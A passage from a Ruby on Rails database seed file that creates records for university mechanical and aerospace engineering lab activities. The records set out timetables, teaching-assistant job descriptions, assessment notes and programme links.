jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a223.id).first_or_create!(assess_weight: nil, notes: \"formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a223.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a223.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a224 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 4)\n at224 = ActivityTimetable.where(activity_id: a224.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a224.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a224.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a224.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a224.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a224.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a225 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: false, user_id: 3)\n at225 = ActivityTimetable.where(activity_id: a225.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a225.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a225.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a225.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a225.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a225.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a226 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 4)\n at226 = ActivityTimetable.where(activity_id: a226.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a226.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a226.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a226.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a226.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a226.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a227 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at227 = ActivityTimetable.where(activity_id: a227.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a227.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a227.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a227.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a227.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a227.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a228 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at228 = ActivityTimetable.where(activity_id: a228.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a228.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a228.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a228.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a228.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a228.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a229 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"523\").first_or_create!(name: \"servo motor frequency\",\n name_abrv: \"MEC-FREQ\", archived: false, in_drive: false, user_id: 3)\n at229 = ActivityTimetable.where(activity_id: a229.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a229.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a229.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. Design a PI controller for a 1st order system, based on characteristic equation of the closed loop system and a performance specification. There might be some Bode diagrams as well. A great way to revise control.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a229.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a229.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a229.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a230 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"524\").first_or_create!(name: \"Servo Motor Time\",\n name_abrv: \"MEC-TIME\", archived: false, in_drive: false, user_id: 1)\n at230 = ActivityTimetable.where(activity_id: a230.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a230.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a230.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. The lab gives the students a basic knowledge of the sensors used in measuring a motor’s behaviour, an understanding of the need for closed-loop control of a motor, observe the difference between open loop, proportional, and proportional + integral control. A great way to revise control.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a230.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a230.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a230.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a231 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 1)\n at231 = ActivityTimetable.where(activity_id: a231.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a231.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a231.id).first_or_create!(criteria: \"\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students. GTAs should have knowledge of basic dynamics.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a231.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a231.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a231.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a232 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 3)\n at232 = ActivityTimetable.where(activity_id: a232.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a232.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a232.id).first_or_create!(criteria: \"GTAs should have knowledge of basic dynamics.\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a232.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a232.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a232.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a233 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: true, in_drive: false, user_id: 5)\n at233 = ActivityTimetable.where(activity_id: a233.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a233.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a233.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a233.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a233.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a233.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a234 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: false, in_drive: false, user_id: 3)\n at234 = ActivityTimetable.where(activity_id: a234.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a234.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a234.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a234.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a234.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a234.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a235 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 4)\n at235 = ActivityTimetable.where(activity_id: a235.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a235.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a235.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a235.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a235.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a235.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a236 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at236 = ActivityTimetable.where(activity_id: a236.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a236.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a236.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a236.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a236.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a236.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a237 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at237 = ActivityTimetable.where(activity_id: a237.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a237.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a237.id).first_or_create!(criteria: \"\",\n job_desc:\"Advanced dynamics labs.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a237.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a237.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a237.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a238 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 5)\n at238 = ActivityTimetable.where(activity_id: a238.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a238.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a238.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a238.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a238.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a238.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a239 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 1)\n at239 = ActivityTimetable.where(activity_id: a239.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a239.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a239.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a239.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a239.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a239.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a240 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at240 = ActivityTimetable.where(activity_id: a240.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a240.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jhyml9q\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a240.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a240.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a240.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a240.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a241 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at241 = ActivityTimetable.where(activity_id: a241.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a241.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a241.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a241.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a241.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a241.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a242 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"529\").first_or_create!(name: \"Torsion\",\n name_abrv: \"TORSION\", archived: false, in_drive: false, user_id: 1)\n at242 = ActivityTimetable.where(activity_id: a242.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a242.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a242.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a242.id).first_or_create!(assess_weight: 4.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a242.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a242.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a243 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, 